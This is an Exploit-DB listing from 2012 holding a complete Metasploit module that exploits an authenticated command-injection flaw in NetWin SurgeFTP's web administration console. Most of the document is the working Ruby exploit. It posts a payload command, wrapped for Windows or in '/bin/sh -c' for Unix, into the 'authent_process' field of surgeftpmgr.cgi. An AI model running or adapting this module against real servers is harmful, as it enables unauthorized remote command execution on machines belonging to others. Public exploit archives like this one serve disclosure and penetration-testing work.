NetWin SurgeFTP - (Authenticated) Admin Command Injection (Metasploit)

EDB-ID:

23522

CVE:

EDB Verified: ✓

Author:

SPENCER MCINTYRE

Type:

REMOTE

Exploit: / {}

Platform:

MULTIPLE

Date:

2012-12-20

Vulnerable App:

```
require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpClient

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'SurgeFTP Remote Command Execution',
            'Description'    => %q{
                This module exploits a flaw in the SurgeFTP server's web-
based
                administrative console to execute arbitary commands.
            },
            'Author'    =>
                [
                    'Spencer McIntyre',
                ],
            'License'        => MSF_LICENSE,
            'References'     =>
                [
                ],
            'Arch'           => ARCH_CMD,
            'Platform'       => ['unix', 'win'],
            'Payload'        =>
                {
                    'Space'       => 1024,
                    'DisableNops' => true,
                },
            'Targets'        =>
                [
                    [ 'Windows', { 'modifier' => "%s" }, ],
                    [ 'Unix', { 'modifier' => "/bin/sh -c \"%s\"" }, ],
                ],
            'DefaultTarget'  => 0,
            'DisclosureDate' => 'Dec 06 2012'))

        register_options(
            [
                OptString.new('USERNAME', [ true, 'The username with admin
role to authenticate as', 'admin' ]),
                OptString.new('PASSWORD', [ true, 'The password for the
specified username', 'password' ]),
            ], self.class)

    end

    def exploit
        user_pass = Rex::Text.encode_base64(datastore['USERNAME'] + ":" +
datastore['PASSWORD'])
        command = target['modifier'] % payload.encoded
        print_status("Invoking command")

        res = send_request_cgi(
        {
            'uri'     => '/cgi/surgeftpmgr.cgi',
            'method'  => 'POST',
            'headers' =>
                {
                'Authorization' => "Basic #{user_pass}",
                },
            'vars_post' =>
                {
                    'global_smtp' => "",
                    'global_restart' => "",
                    'global_style' => "",
```

```
                'global_bind' => "",
                'global_passive_ip' => "",
                'global_passive_match' => "",
                'global_logon_mode' => "",
                'global_log_host' => "",
                'global_login_error' => "",
                'global_adminip' => "",
                'global_total_users' => "",
                'global_con_perip' => "",
                'global_ssl' => "",
                'global_ssl_cipher_list' => "",
                'global_implicit_port' => "",
                'log_level' => "",
                'log_home' => "",
                'global_watcher_program_ul' => "",
                'global_watcher_program_dl' => "",
                'authent_process' => command,
                'authent_cmdopts' => "",
                'authent_number' => "",
                'authent_domain' => "",
                'global_strip_user_domain' => "",
                'global_noclass' => "",
                'global_anon_hammer_over_time' => "",
                'global_anon_hammer_max' => "",
                'global_anon_hammer_block_time' => "",
                'global_port' => "",
                'global_mgr_port' => "",
                'global_mgr_ssl_port' => "",
                'cmd_global_save.x' => "36",
                'cmd_global_save.y' => "8",
            }
        })

        if not (res and res.code == 200)
            print_error("Failed to execute command")
        else
            print_status("Done")
        end
    end
end
```

Tags: Metasploit Framework (MSF)

Advisory/Source: Link